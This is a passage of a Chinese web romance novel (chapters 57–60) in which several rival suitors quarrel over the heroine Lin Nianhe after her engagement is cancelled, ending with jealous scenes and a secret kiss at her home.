“我找她有正事。”江予州没有被他的话弄生气,反而神色和睦,“两位能不能先出去,让我和念禾商谈正事。” “聊什么事需要独处空间?”姜砚拒绝。 “公事。” 他盯着那张斯文的脸,忽而笑了下,“既然离了婚,就别再贴上来,不然弄得大家都不太好看。” 气氛仿佛降到冰点,林念禾尴尬地想要劝一劝他们别吵了。 毕竟这几个人,地位不相上下。 脚尖前迈,抵在她腰处的门把忽地动了两下。 林念禾记起来,还有个被她关在门外的人。去年一直在江予州的面前,说他是她的表弟。 现在的场面,她当下最应该解决的是如果江予州问起来,该怎么解释表弟和霍锌长着一模一样的脸。 思绪飘着飘着,林念禾的眼神不由自主落在了霍锌的身上。 他从自己进来开始,沉默地站在窗边,冷眼旁观其他人的争吵,不知道在想些什么。 姜砚觉察到她的视线,微不可查地皱了下眉,径直走到林念禾的身边,“我送你回家。” 他顺着她的手腕下滑,握住她的手,轻声问,“我妈想让我带你回家吃顿饭,你明天晚上有空吗?” 交握在一块的手,仿佛落入油锅的水滴。 江予州的面色忽地沉下去,起身,打断他的话,“明天不太行。” “怎么,前夫不当,当秘书了?” 连林念禾的行程都要管。 他像是听不懂话里的阴阳,“如果陆氏要请我当秘书,我当然很乐意去。” 姜砚表情僵了一秒,有种巴掌扇到对方脸上,结果对方笑着冲自己说谢谢的恶心感。 脑子里的那根弦忽地崩紧。 秘书都能当,下一步是不是就舍弃自尊,等他和林念禾结婚了,跑到他们家应聘保姆。 这念头一跑出来,姜砚仿佛看见了以后他的女儿管江予州喊保姆爸爸的画面,恶心得鸡皮疙瘩掉一地。 他眼眸微眯,正脸望向江予州,警告道,“陆氏没有秘书的空岗,我这还有两个保安的位置,江教授愿意吗?” 江予州捻了捻指腹,正色反问,“你人品多烂,才需要这么多保安” “坏事做多了,怕别人报复”他继续,“那我爱莫能助,倒是能给你介绍几个体育学院的空手道老师,他们都拿过国内外大奖,真要是生死时刻说不定能护你一下。” “如果你是想靠婚姻把风险转移到林念禾身上,那挺畜生了。” 话说的很难听,连畜生这种辱骂词都用在了姜砚身上。 林念禾看向他,一边拽住想往那边走的姜砚,一边站出来和稀泥,“明天确实没空,我事先约好了和学院领导谈合作,你帮我和阿姨说声抱歉。” “江予州今天生病,心情不太好。我们别在屋里挤着了,空气密闭不流通。这段时间太累了,我想回家休息,有事的话,你们发消息给我就行。” 明面上是一人给了颗甜枣,可落在姜砚的耳朵里,却是她话里话外偏向江予州。 心尖涌上股酸涩,姜砚唇角平拉成一条线,像是受了委屈的小孩儿,眼角陡然变红。 在情敌面前掉眼泪,可太他爹的丢人丢到家了。 他缓了缓情绪,本来都快要恢复正常了,想顺着她的话往下走,抬眸乍看见江予州眼里的挑衅,顿时炸毛。 “脸色红润成这样,真是看不出来一点生病的样子。” 江予州又侧脸咳嗽两声,嗓音微哑,“最近忙工作,身体没恢复好。” “……”林念禾张了张嘴,但觉得不接话更合适。 姜砚不想跟他废话了,伸手将堵着门的林念禾拉到一侧,开门,准备直接送她回家。 “等……” 门被打开,一张熟悉的脸,神情恹恹地站在门外,望着里面四个人。 他目光缓缓下移,凝视着姜砚圈住她手腕的骨节,“还没订婚就牵手了?” 胆子真大,订婚后不得翻天 “烂人。”小霍吐出两个字的评价,转头望向立在沙发边的江予州,眼神冷淡,“绿茶。” 视线一转,他看向霍锌,触及对方冰冷的眼神,顿了下,把即将脱口而出那句最难听的便宜货三个字咽回去。 他自己能随意私下评价霍锌,但在外面还是得仔细说话,毕竟两个人顶着同一张脸,如果霍锌不是好东西,那别人也会下意识认为他不是好东西。 敌人面前,他们按理来说,算同一战线的战友。 姜砚把脾气往下压了压,念着在小孩儿面前得维持长辈的形象,“让一下,我送你姐回家。” 他往左挪了一下,小霍跟着往左迈步,往右去,后者也跟着向右动。 姜砚啧了声,不耐烦,“让开。” “你们还没订婚,你不能送她回家。” “我不送,你送”他问,“你有驾照吗?” “林念禾会开车。” 被点到名字的人懵了下,点点头,把手从姜砚的桎梏里抽出来,“我先走了,你们慢慢聊。” 到时候就算打起来,也和她没什么干系了。 林念禾的脚步刚迈出一步,一直没开口的人忽地出声,“我昨天去找了老姜总。” “订婚取消了。” 简单的几个字,仿佛一记重锤落在每个人的心间。 江予州重新坐回沙发,端起水杯抿了口水,“霍总消息很灵啊,连小姜总都不知道婚事取消,你怎么知道的” “江教授不用试探我,老姜总做的决定,和我没什么关系。” 姜砚浑身血液冻住,转头去寻他,“是你做的?” 霍锌很有耐心地重复方才的话,“老姜总做的决定,和我没有关系。” 林念禾太了解他,用脚想也能想明白肯定是霍锌在里面说了些什么,或者用什么做的交换,才让姜砚的父亲改变主意。 怪不得姜母想请她过去吃饭。 姜砚手脚冰凉,肩膀处落下一只手,重重地摁住他,小霍往前凑到他身后,口吻轻巧,“既然婚约取消,那以后也别来往了。” “我姐这个人最头疼的就是处理人际关系。她心软,不会拒绝别人,对不喜欢人也能装出不喜欢。看在差点成为未婚夫妻的面子份上,你就别来烦她。” “要真有事可以找我,我帮你传话。” 霍锌打断小霍煽风点火的话,有条有理,“联姻 本质上是利益互换,目前圈内还没有一对联姻夫妻能做到,在利益的基础上建立单纯的爱情。” “老姜总这么做,可能是为了你好。” 他缓缓走近,直到停在林念禾的面前。 她露出的胳膊上有一抹扎眼的红痕,是方才姜砚情绪激动,一不小心力气没控制住,留下的印迹。 其实不怎么疼,以至于霍锌的指腹落在她皮肤上时,林念禾才恍然发现这块地方变红了。 他的力道不轻不重,划过红迹,接着抬起她的手腕,揉着那块肌肤。 室内安静如鸡, 林念禾的心脏跳得飞快,她没有在婚事取消的事情上发表任何意见,因为这件事早晚要摊开解决。 既然霍锌提前出手帮她解决了,自己不用去得罪陆建林,又不用去费尽心思修复和姜家的关系,还能直接避免思考如何和姜砚开口。 帅哥哭起来,她高低是没什么抵抗力的,到时候弄得没法收场,还不如让霍锌开口帮她了结这破事。 姜砚垂眸,忽地扫到那道被自己弄出来的红痕,好像一道利刃刺进心脏,五脏六腑都跟着泛起疼痛。 他沉默地站在原地,黑长的睫毛上下一动,一滴眼泪砸到地面。 面前的人冷不丁无声哭起来,林念禾顿时慌了,没带纸,伸手问小霍要。 小霍撇嘴,抱着胳膊,靠在门边,“没有。” 有也不给他用,狐媚子尽会点见不得人的手段。 二十多岁的男人,当着众人的面哭得梨花带雨,真不要脸。 “……” 林念禾也不跟他掰扯,转头往霍锌西装口袋里摸去。 他估计是从哪个宴会出来,一小块手帕被叠起来放在胸前。 林念禾攥住手帕,想去给他擦眼泪。 手悬到半空中,姜砚往后退了一步,避开她。 那块手帕上全是霍锌的味道,给他擦眼泪,还不如直接恶心死他算了。 姜砚一边在心里骂人,一边控制不住地往下流眼泪。他大概继承了他妈妈的演戏天赋,哭起来的样子和别人不一样,泪水蓄在眼窝,直到变成一滴泪忽地掉在地面。 卷毛小狗哭得眼角通红,林念禾想安慰他,不知道该说什么。 “你不喜欢我吗?”他说,“姐姐,我很喜欢你,你别不要我。” 话落,伴随一颗泪落下。 林念禾把手帕收回去,没有纸巾,想替他擦泪,没法擦,“你先冷静下来,冷静下来我们再聊。” “所以你真的不要我了。” “没有什么要不要啊。”她干巴巴地解释,“新中国没有奴隶。” 姜砚还想说什么,一张白色的纸倏地闯进他的视野,摁在他的眼皮上,擦干眼泪。 酝酿好的情绪全被这突如其来的动作打碎,他茫然地侧眸看向旁边的人。 江予州把纸巾对叠,又贴上去,给他把挂在眼角的最后一滴泪擦得干干净净。 第58章 第58章吃醋,破防(双人版)…… 他把用过的纸巾扔进垃圾桶,用老师教育不懂事学生的语气,斯条慢理道,“有情绪,我们可以解决情绪,但不能一味地去发泄,这样既不能解决事情,也不能对这件事做出什么改变。” “当着念禾的面哭,你是在要挟她吗?” “我也不想这么去推测你的想法,没办法,教书这几年,见过很多学生情侣分手后,男方用示弱的方法挽回女朋友。” “小姜总肯定不是这种人。”话锋一转,江予州安慰似地拍拍他的肩膀,音线沉稳,“所以,别哭了。” 拿眼泪在林念禾面前博同情,多恶心。 要是哭能管用,他早跪下来抱着林念禾的腿哭了。 不止是他。 江予州看了眼霍锌,估计这位也会哭着求复合。 人的本性总归自私,亲眼望着别人用些上不得台面的手段,走到他的前面,他总会控制不住地想踩对方一脚。 眼见这一脚把姜砚的眼泪踩没了,江予州的心情终于稍微好了那么一点。 电话铃声骤然响起,姜砚指尖微动,接通,那头的人说了两句话,他嗯了几声,挂断。 等他接完电话抬眼,目光在四周流转一圈,惊然察觉自己早在不知不觉中被这几个男人包围住了。 小霍站在身后,江予州立在他的右侧,霍锌站在他的左侧。 像野兽捕猎,一点点缩小范围,逼近猎物,等着他放松警惕,一口咬断喉咙。 姜砚垂眸,把手机塞回去。 “婚约解除不代表我们不能继续相处,谈恋爱也好,还是追求也罢,我想问的是,你还愿意给我一个机会吗?” 没等到回答,霍锌先于林念禾开口,“她累了。” “早上在陆氏开了一上午的会,中午没吃两口饭,下午又在台上站了一个多小时。” “有什么问题以后可以再聊。” 他以一种居高临下的姿态,朝姜砚说,“我先送她回家。” 姜砚遮住眼里的晦暗,没理他,“到家记得给我发消息。” 小霍嗤笑一声,“联姻取消,我看就没什么必要发消息报平安了。” “你是不相信我,还是不相信霍总?” “是人是鬼,隔着皮,谁都看不清。”姜砚望着他,意有所指。 在场的男人,谁心里没点脏念头。 以前他把小霍当林念禾的弟弟看,结果现在看来,这位弟弟的心思也并不单纯,还长着一张跟霍锌九成相似的面孔。 所以是打算代替霍锌上位,还是想把霍锌送上正房的位置…… 姜砚皱了下眉,压下心里的数种恶意揣测。方才电话那头的姜父催他赶紧回家,自己不能再跟这群人耗下去。 他神情落寞,侧身往林念禾的方向迈去一小步,“我爸催我回去,我先走了,姐姐。” 姜砚顿了顿,“过两天带你去山上野营,看星星,你会去的吧?” “明天降温,冷空气来袭,近两周内都没什么好天气。”江予州困惑,“你打算去哪儿看星星” 姜砚的手紧了下,努力忍住想揍他的冲动。 他算是看出来了,比起霍锌的杀人诛心,小霍的冷嘲热讽,江予州就是纯贱。 笑嘻嘻地捅你一刀,把人弄死了,还能踩在人身上问他需不需要帮忙。 姜砚平复着自己的心情,绝对不能跟这狗男人生气,生气就等于出局。 “我们自驾游去其他地方看流星。” 江予州哦了一声,“念禾不喜欢爬山,也不喜欢野营。” “……” 眼见两个人快要吵起来,林念禾悄悄掐了下霍锌的腰,男人侧眸望向她,眼眸疑惑。 她把自己的半边身体藏在他的身后,食指弯曲,指节抵着他的腰往前推了一下。 意思很明确,就是让他去和稀泥,别让两个人真在学校里闹得不可开交。这会儿门没关,走道里没人,但大家都是有头有脸的人,万一真打起来了,被路人随手拍下来发到网上,她指不定要被扣上什么红颜祸水的烂帽子。 见人不动,林念禾急了,不动声色地掐他的腰。 正当她犹豫要不要下死手,头顶上方的男人像是戏弄够了,才不紧不慢地开口,“爬山的事,你们可以自己找个地方慢慢讨论。” 霍锌淡声道,“小姜总就不好奇昨天,你父亲跟我说了些什么吗?” “他有让你和钱家联姻的想法,我猜刚才那通电话就是让你回去商量这件事情。” 姜砚脸色顿时难看,下意识望向林念禾, “我……” 话被截断,口袋里的电话突然又响起来,他看了眼来电人,摁灭屏幕,没接。 比起和这几个人吵架,他当务之急得回家让他爸打消继续联姻的想法。 “我不会答应和钱家联姻。”姜砚走到门边,步伐顿住,目光凉凉地扫过小霍的脸,意味不明,“需要我送你回学校吗?” 小霍冲他笑笑,“不敢坐你的车,怕晦气。” “……” 成功送走一个,林念禾松口气,比连上三天班还累。 心微微落下,视线忽地和小霍对上,对方眸色渐深,凝视着她,仿佛一只藏在黑暗的凶兽,下一秒就要扑上来咬住她,把她叼回窝。 林念禾脚尖动了动,目光移开。 不知道他又怎么了,突然开始变得吓人。 小霍靠在门边,脑海里全是林念禾对霍锌的小动作。 太亲密了,甚至连林念禾自己都没发现这种超过正常关系的亲密。 日防夜防,还是没防住这个贱人。 他脸色一点点沉下去,没有注意到旁边一直沉默不语的江予州倏地望向自己。 江予州遮住眼底的情绪,平静地打量着小霍的脸,计算这幅年轻的面孔与霍锌的相似度。 如出一辙的眉毛,眼睛,鼻梁…… 几乎能称得上是霍锌的翻版。只是五官轮廓相比而言,还没有霍锌的深邃。 这么一个人,林念禾却对他说是表弟。 一个和前男友长得一模一样的亲表弟。 长期以来压抑某种负面情绪,忽地在这一刻,崩碎。 江予州问,“我们以前的那套房子里有你落下的一个积木,今天要不顺路过去取了?” 那个积木是她花了近半个月拼好的,宝贝到不行。结果搬家那天,助理弄忘记了,她忙工作,也没记起来。 现下被他一提醒,林念禾记起来自己当初对这套积木的珍惜。 当然得去拿! “我让助理帮你去拿。”霍锌哄她,“今天不累吗,你先回家休息。” 小霍跟着劝,“我帮你去取。” 绝不能让江予州找着借口和她独处。 林念禾被他们吵的头疼,“算了,改天吧。” 江予州沉默了一会儿,“行。” 时间不早了,几个人聚在一起也没好聊行话,更别提霍锌和小霍还一个劲儿地排挤江予州。 她心其实挺软的,江予州身体没恢复好,被气着了,万一出点什么事情,林念禾这辈子都不能原谅自己。 但是当着大小霍的面,坦然维护江予州,回去则可能被他们生吞活剥。 上回光是知道她和前夫见了一次面,霍锌就跟不受控制似的差点给她弄哭。 “我先走了,学校的事情过两天当面商量。”林念禾选择果断逃跑。 江予州看穿她的心思,不点破,“改天见。” 话落,小霍像是忍到极点了,推着她走,“快走,回去吃晚饭,我快饿死了。” “霍锌虐待你吗,不给你吃饭。” “你以为他是什么好东西” 落在后面的男人轻咳一声,威胁,“别乱说话。” 林念禾最后没有坐上自己的车,霍锌送她回家,小霍坐在副驾驶位置,一脸不悦。 车刚驶出学校,手机进来一条短信。 江予州发过来的,问她后天能不能抽空和领导吃顿饭,因为领导过几天得出差去外地。 她把前几天苏荥发的一周安排表翻出来,发现后天晚上有空,于是答应下来。 身侧男人的眼神扫过来,她摁灭手机,收好,靠在后座上阖眼休息。 霍锌很安分地没有打扰她。 直到车停在地下停车场,林念禾一睁开眼,发现自己正躺在霍锌的腿上睡得昏天黑地。 小霍靠在门外,等着她下车。 见她醒了,敲敲车窗,“怎么不起来,舍不得霍总的腿” 她下车,“你要试试” “都是同一个人,有什么好试的。”小霍望了霍锌一眼,“除了年纪大这一点,他有的我都有。” 不,至少霍锌吻技比你好。 但是林念禾不敢说出来,只能默默吐槽两下过过嘴瘾,边往电梯走去,边说,“我和他一个年纪,你每次骂他年纪大,好像就等于在骂我。” 小霍摁电梯按键的手一顿,瞥向旁边不说话的霍锌。 怪不得这阴货不说话骂他,原来埋着坑等他跳。 “就算哪天你八十了,在我眼里也跟十八没区别。” “……”林念禾额角直跳,“闭嘴。” 被骂的人老实闭上嘴,电梯上行到指定楼层。 两个人很有默契地跟着林念禾进家门,事先接到通知,所以阿姨已经做好饭菜,等着他们回来。 霍锌帮她把鱼刺挑好,放进碗里,“最近瘦了。” “有点忙。”她忽地想起来代言的事情,“你们公司是不是在文悦娱乐有股份” “有一点。” “你帮我跟他们董事长打个招呼,找几个爱豆签几份短期代言合同,记住一定不要有黑料的,人品不好的,存在塌房隐患的。” 他们最近找代言人找得头晕,因为现在爱豆塌房风险严重,纵使行外人事先详细背调,也比不了找个行内的人了解来的快。 “行。” 小霍狐疑,“林念禾,你不会借着机会去看男爱豆吧?” 真不怪他爱多疑,高中因为被校领导给予厚望,每一次成绩出来后,稍有退步,上到年级主任,下到任课老师,都会找她聊心。在过大的学习压力下,林念禾水灵灵地变态了。 没做同桌之前,课间,他有一次趴在桌子上睡觉,偶然听见林念禾和贺渺聊有天发财了该如何忘本。 霍锌不记得贺渺说的什么,只记得林念禾说的那些话,在他的脑海里留下了深刻的女流氓印象。 以至于刚做同桌的那一段时间,他都不怎么理她。 林念禾以为他性格冷漠,不怎么和女生说话。实际上,霍锌每天都在害怕中思考该怎么和同桌正常交流。 后来,他发现林念禾只是单纯的博览群书,并没有真正的变态。 回忆涌上脑海,饭桌上的三个人沉默半晌。 霍锌撩眼看她,抿唇,“做人不能这样。” 不能用金钱包养年轻□□。 而且她如果真的想要,可以找他,他比那些经常节食的男明星好用。 小霍的手搭在桌边,轻扣,人生头一次赞同霍锌的意见,“说的对。” 她无语,“我没这个想法,这事交给了苏荥,我就负责过目审核。” 话落,面前的两人不约而同地放下心来。 林念禾:…… 懒得跟他们争论,林念禾伸手去夹菜,胳膊不小心碰到旁边的水杯,倒在桌面,衣服瞬间被泼湿。 她皱了下眉,起身往房间去,打算把衣服换掉。 林念禾从衣柜里随手拿了一件上衣,突然发现手上沾了一小块油污,索性进了浴室。 清水冲洗干净手腕,她关上水阀,脱掉上衣。 纤细的腰身暴露在空气里,往上是束缚在衣物里的半圆,两道精致明显的锁骨。 想起来霍锌说她瘦了,林念禾对着镜子打量了一下自己,发现好像确实瘦了一点点,不太明显,也不知道他是怎么发现的。 衣服刚套上,门突然转动,打开一道缝隙。 她抬眼望向洗手台前的镜子,少年站在门边,漆黑的眼眸直直注视着她。 片刻后,他关上门,咔哒很轻的一声,门锁扣上。 小霍缓步朝她走来,双手撑在洗手台的台缘,把人困在怀里。 他低头,鼻尖贴着她的颈侧,仿佛在嗅那块肌肤的味道,“你和霍锌……” “今天为什么当着其他人的面碰他” 第59章 第59章偷情 外面,霍锌正在阳台接电话。 今天天气很好,阳光明媚,临近六点,万里无云的湛蓝天色一点点地暗下去,夕阳挂在远处。 他低头看见脚边摆着一盆吊兰,绿油油的叶子上挂了一只蚂蚁,慢吞吞地往上爬。 即使它的体型很小,但在纯绿的底色下,落在霍锌的眼里格外刺眼。 那头的下属汇报到一半,没听见老板的回话,顿时心吊到空中,“霍总……” 他移开目光,“刚有点事,你继续。” 主卧的浴室里, 小霍抬手将她散乱在胸前的黑发撩起,拨到另一边,忽而掀眼望向镜中。 林念禾搬进来后让人特 意换了一面更大的镜子摆在洗手台前,本意是方便自己日常洗漱。 直到此时此刻被困在镜子前,她才发现,这块地方原来还很适合用来做些更私密的事情。 少年比她高一个头,长长的睫毛下敛,脸上表情晦暗。 他的手撑在洗手台边缘,两人的中间隔着一小段距离,并没有严丝合缝地贴上。 嫉妒上头,理智早抛到九霄云外去了. 人生第一次做这种事,推门进来前,他还在想,万一林念禾没换好衣服被自己看见了什么不该看的,他大不了把上衣脱了给她看回来。 缺乏经验的高中生,显然把这事想的太简单。 密闭的狭小空间内,光是她完完整整地穿着衣服站在这,就足够他心神晃动。 鼻尖萦绕着林念禾的气息,是熟悉的花果香,搅得他思绪乱成一团。 “今天你看霍锌的眼神,让我好嫉妒。” 林念禾愣了一下,她压根不记得自己对霍锌干了什么。一个小休息室里摆不下四尊大佛,如果她不强逼着霍锌站出来,这把火就得烧到自己身上。 他们表面上是在互相捅刀,最后还不是得绕到她面前,问她到底喜欢哪一个。 姜砚一哭,她就心软。 江予州一柔柔弱弱地抬眼望她一眼,她也心软。 她和霍锌谈恋爱太早,上一次处理这种问题还是高中。 十几岁的小孩追人手段简单,除了网上表白就是送东西。林念禾一板脸,再明确表明自己想好好学习,没有时间谈恋爱,对方就会红着脸,垂头丧气地知难而退。 这招屡试不爽。 后来和霍锌在一块儿,他就跟百草枯似的,毒得她身边愣是找不出来一朵其他的桃花。 分手一年,她和江予州闪婚,婚戒几乎每天不离身。偶尔有凑上来的,已婚的身份一亮出来,打着别的念头的男人也得掂量掂量要不要脸,上去插足婚姻给人当小三。 常年在新手村打转,蓦然遇见修罗场,林念禾手足无措,下意识依赖霍锌。 这些无意识的举动,落在小霍眼里,则是另一种意思。 仿佛一颗微小的火星掉到干燥的柴草堆上,温度攀升,演变成无边无际的大火。 闷烦的情绪挤压在心口,小霍低下头,咬在她的肩颈处,“在想怎么说谎” 林念禾身体一僵,装作不知道,“我不找霍锌,难道找你吗?” “然后你把他们都气死。” 说话间,她突然往后侧仰,抬脸看他。 靠得太近了…… 小霍耳廓泛红,遮住眼里的羞涩,淡声道,“这不公平。” “林念禾,你自己摸着良心说你到底有没有偏心霍锌” 天地良心,她对他们都是一视同仁。 一样的不给名分,一样的挥之即去。没有特别的喜欢,也没有特别的讨厌。 先前他骗她的事,在酒吧扇完那巴掌,又连着把人扔出家门丢给霍锌后,早一笔勾销了。 林念禾无奈,“我要是偏心霍锌,你觉得你现在能好好站在这跟我说话” “虽然我不知道他现在在外面做什么,但他人一定没走。” 但凡她对着外面喊一嗓子,霍锌下一秒就能进来弄死他。 他压低声音,几乎是贴着她的耳朵,“想让他进来” 方才还控制着不敢碰的手,这会儿突然贴到她的腰上,稍一用力,林念禾没站稳被拥进怀里。 体温顺着衣物传到皮肤,铺天盖地的苦橙味裹挟住她,空间里的燥热一点点攀升。 小霍低垂眼,目光落到她的唇上。 他喉结动了下,声音平稳,“亲我一下,好不好” 话落,林念禾不知道怎么地突然注意到他的唇形。 霍锌的唇微薄,亲起来很软。面前的这个人,也和他一模一样。 林念禾心神微动,脚尖转向,面朝他,腰靠在冰冷坚硬的洗手池台沿,面上冷静,“然后霍锌进来撞见我们接吻,你被他弄死” 小霍笑了下,“那很有意思。” “……” 似乎是戳到了他的什么兴奋点,他继续接着林念禾的话往下描述,“那等他走了,你再亲我好不好” “我进来之前已经反锁卧室,你现在亲我,他也不会知道的。只亲一下,就像那天在树下,你压着我……” 没说完的话,被突然的吻打断。 林念禾实在受不了他说的跟偷情似的,踮起脚,压上去。 柔软的唇瓣相贴,他跟上回一样,老老实实低下头任她索取。 怎么说这种感觉呢,被自己的女朋友压着亲,门外就是另一个自己。 浑身细胞兴奋到了极点,他脑袋里乱糟糟的,各种想法混在一起,甚至连偷情这两个字都出来了。 因为有身高差,纵使小霍低着头弯腰配合她,林念禾亲了一会儿脚跟乏累。刚想松开人,下一秒身下悬空,被人抱起来放在台面。 他挤进她的双腿中间,忽地变了风格,像是欲望压抑顶点到溢出来,追着她的唇舌纠缠。 门外, 霍锌草草听完下属的汇报,简单回复两句后,挂断电话。 心里有些发慌,他站在阳台往远处眺望。成片的高楼大厦林立,风轻轻拂过脸侧,安静的环境中,那股焦躁不安迟迟降不下去。 裤腿被扯动,霍锌低头,自己养的那只三花长毛猫正用爪子勾着他的衣角,咬着玩。 他静静看了一会儿,弯腰单手把它捞起来,转身进屋。 餐厅空荡荡的,桌上的碗筷早被阿姨收走。 客厅没有人,抱枕掉在地上。 他把猫扔在地面,顺手把抱枕捡起来,放好。 同居那些年,家里很多家务都是他顺手包揽到自己身上。林念禾被他养的很好,连碗都没洗过一次。 每次朋友来家里做客都会不可思议,家里居然没请阿姨,霍大少爷自己亲力亲为地伺候女朋友。 所以江予州并没有像他那样,又哪来的脸求复婚 一大把年纪的离异男,侥幸捡回一条命,又想回来骚扰前妻。 这样的人给林念禾提鞋都不配。 霍锌把客厅简单收拾了一下,目光触及到那扇关闭的主卧房门。 他迟疑了一会儿,迈步走过去。 敲门声响起两秒,隔着门板,传来一道重物落地的声音,很快,门被打开。 林念禾捂着胳膊,眼睛泛红,仔细看的话,唇瓣有点不自然的红润。 但霍锌的注意力都被她的胳膊吸引过去,没注意到这一点,直接上手把她的手拽开。 家里温度不冷,这几天气温高,她换的是件短袖。 手肘上方一点的位置,被划出来一道浅浅的红痕。 没有破皮,看起来也不严重。 霍锌皱眉,指腹摸上去,揉了两下,“走路慢一点。” 林念禾半点不还嘴,心虚得要命。 急着给他开门,一听见敲门声,她就急匆匆地往门边走,胳膊不小心磕到浴室门边,被刮了一下。 其实没多疼,但她心虚,下意识想用伤口转移霍锌的注意力。 果然,他没看到她不正常的唇色和脸色,只当是疼的。 霍锌一边揉着那块皮肉,一边抬眼往卧室里望去。 视线在屋内扫了一圈,没发现有人的痕迹,那股没由来的焦躁不安才微微缓解一点。 林念禾恰好抬头,和他刚收回的视线撞上。 乌黑的眼眸水润,直愣愣单纯地看着他,霍锌不动声色地把人往外引。 管它里面有没有人,起码现在林念 禾得跟他在一块儿。 因为方才那通刺激,她心情就跟坐过山车一样上下起伏,心头还留着害怕的余韵。 霍锌把人带到沙发上,“怎么撞的?” “急着给你开门,不小心撞到床角了。” 话尾刚落,霍锌忽而停下动作,漆黑的眼眸意味深长地望着她,半晌,问,“你怎么知道敲门的人是我” 她进去换衣服之前,屋里面有三个人,除了他还有小霍。 这么笃定敲门的是他,只有一种可能,那就是另一个正躲在里面。 刚做了亏心事,她心里没底,怕被他看出来,倏地把头靠在他的肩膀上。 和浴室里的苦橘味不同,霍锌身上是冷调的松木香。 她闭着眼睛,整个人都快贴到他的身侧,“因为你们敲门声不一样,我一听就听出来了。” “……” 刚环上她腰的胳膊倏地一僵,林念禾放下去的心瞬间被吊起来,咽了下口水。 她……哪儿说错了? 良久,男人冷冰冰的声音响起,“他平时经常敲你的门” “他敲门来问我数学题。”林念禾趴在他的肩头,脸色不太好,嫌弃,“你自己难道不记得高二高三,我用了多大力气才把你那个破成绩提上去的吗?” 霍锌聪明归聪明,但基础真的一般。 也幸亏他爸妈没放弃他的学习,保持着请私人家教的传统,所以林念禾教起来比一般的差生要省力很多。 大部分的知识点他都明白知道,就是不熟,没写过几道题目。 一开始,班里同学看见霍少爷从良,安稳坐在座位上学习,大吃一惊,以为他脑子谈恋爱谈坏掉了。 还有的私底下偷偷劝林念禾,一定要保持好自己的学习,别被霍锌给拉下水。 总之,各方面的不看好,燃起了霍锌的斗志欲。 他怎么就不能考清北了,他怎么就不能和林念禾上一所大学。 林念禾考状元进去,他就不能当吊车尾进去吗? 无穷无尽的题目,各种的名师补习,他爸甚至还找了以前高考出题的老师专门来给他上课。 似乎是同样回忆起那段黑暗的时光,霍锌沉默了。 这骂不了,这是正当理由去敲门。 他虽然不待见十八岁的自己,但面对在承受高考痛苦的自己,还是有几分同情的。 霍锌搂着她,声音闷闷的,“我给他另找补课老师,但是你不能背着我和他偷偷来往。” “我没有。”林念禾答的飞快。 “那你亲我一下,证明你没有。” 她微微后仰,直起腰,卧室方向突然传来一道异声。 第60章 第60章带你回家 客厅里寂静无声,林念禾的心漏了一拍,眼睛紧跟着去寻声音传来的方向。 片刻后,卧室门缝里钻出来一道小小的身影。 她猛地松口气,趴在他的肩膀上,点点霍锌,示意他回头看。 “我发现你养的猫真的很喜欢进我的房间。” 上回偷溜进房间,抓破她的脚踝。这次又溜进去然后竖着尾巴大摇大摆地走出来,好像巡视完一圈自己的领地,心满意足地离开。 霍锌仿佛背后长了眼睛,知道是猫从里面出来,从头到尾都没有回头去看,只把人摁进自己的怀里,听见这话后,不咸不淡道,“那在你房间给它搭个猫窝” 她心动了一瞬,果断拒绝,“不行。” 猫进了卧室,那霍锌进她卧室还远吗。 林念禾很清楚自己的自制力,大小霍稍微一用美男计,冲她勾勾手指,下一秒她就扑上去急赤白脸地扯人衣服了。 或许是看出来她的想法,霍锌没强求,只把她抱到身上,手掌顺着脊椎从上往下,和给猫顺毛的手法如出一辙。 卧室那头恢复安静,林念禾目光终于放心地挪开。 霍锌忽而开口,“你还没有亲我。” “……” 她瞪着眼睛从他身上下来,坐到一边,手抠着沙发垫,“都跟你说了没有和他私下里来往,我为什么还要亲你?” 这人就是变着花样地想要勾引她。 他牵过她的手,捏了捏,“你自己答应的。” 她答应的事情多了去了,也没见事事都完成。心思一转,林念禾凑上去,倏地贴近。 猝不及防放大的面孔,彼此交融在一块的呼吸,发尾掉落在胸前,一晃一晃地悬在他衬衫的上方,隔着衣物,扰得人心发痒。 霍锌平静地看了她一眼,左手刚抬起来,想要搂住她,就被林念禾摁下去。 她用的力气不小,单膝跨坐在他右腿,另一只膝盖跪在他左手腕上,压制住他,不让人动弹。 她又调整了一下动作,确保自己占据主导,清了清嗓子,问:“你替我把婚退了,陆建林那边我怎么办?” “该怎么办就怎么办。”霍锌说,“实话实说。” 他早八百年前看不惯她磨磨蹭蹭的做法,一开始说的是等她分公司成立,后来又说姜砚这段时间心情不好,再等一段时间。 说来说去,就是她怕姜砚掉眼泪,怕尴尬,以至于自己不喜欢还要硬装着喜欢。 “他下午给我打电话,让我明天滚回家吃饭。”林念禾勾着他的下巴,懒散地逗弄,“要不带你回去,你替我挨骂?” 明明挺调情的话,话尾一落,她明显感觉到压着的男人,呼吸停顿一刹,抬眼直直凝视着她。 带他回去? 虽然陆建林只是她生物学上的父亲,林念禾对他没多少尊重。但带他回家,难道不算另一种形式的过明路? 一想到自己倒贴的日子即将结束,巨大的兴奋下,他一时间没去细想她的话外之意。 半晌没听见回答,林念禾被他盯得后背发毛,伸手晃晃他的下巴,“想什么呢?” 霍锌喉结滚动,“在想明天该准备什么。” 需不需要带见面礼,婚期该定在今年还是明年,怎么忽悠陆建林趁早把手里捏着的股份转给林念禾。这些他都得好好想想。 “……” 她哎呀了一声,“你给我弄出的烂摊子,明天要是解决不了,你得给我滚过来帮我收场。” 她脑子疯了,才会前脚拒绝姜家,后脚把霍锌带回陆家。 先不说这事的麻烦程度,单纯说眼前,卧室里藏着的小霍,估计下一秒就会冲出来抱着她哭得稀里哗啦,问她为什么要选霍锌。 不同频道的两个人终于同频,霍锌手腕发麻,像是从云端坠进海水里,良久,找回自己的声音,“好。” 他缓了缓情绪,眼神恢复清明,“明天我有空,你随时可以给我打电话。” 林念禾得到保证,心放回肚子里,但还保持着动作。 面前的男人肉眼可见的沮丧了一秒,很快变成原先那副不动声色的高深模样。 她眼睛微眯,忽而贴上去亲了一口。 不等人反应过来,从他身上撤下去,离老远翻脸赶客,“时间不早了,我要睡觉了,你回去吧。” 六月的天都没林念禾翻脸来的快。 脸侧还残存着湿润的触感,柔软的唇瓣短暂停留一秒。他方才还坠进谷底的心,又高高飘起来,浮到云层上。 霍锌闭眼,带着认命的意味掐了掐眉心。这辈子就被她这些小手段吃得死死的,前一秒让他心如死灰,后一秒就能让他摇着尾巴乖乖当狗。 要不是说出来林念禾不同意,他甚至想替她明天去陆家挨骂。 他起身,带着自己的猫。临走前还特意看了眼林念禾,因为错过时机,这会儿再去观察也不看不出来什么破绽。 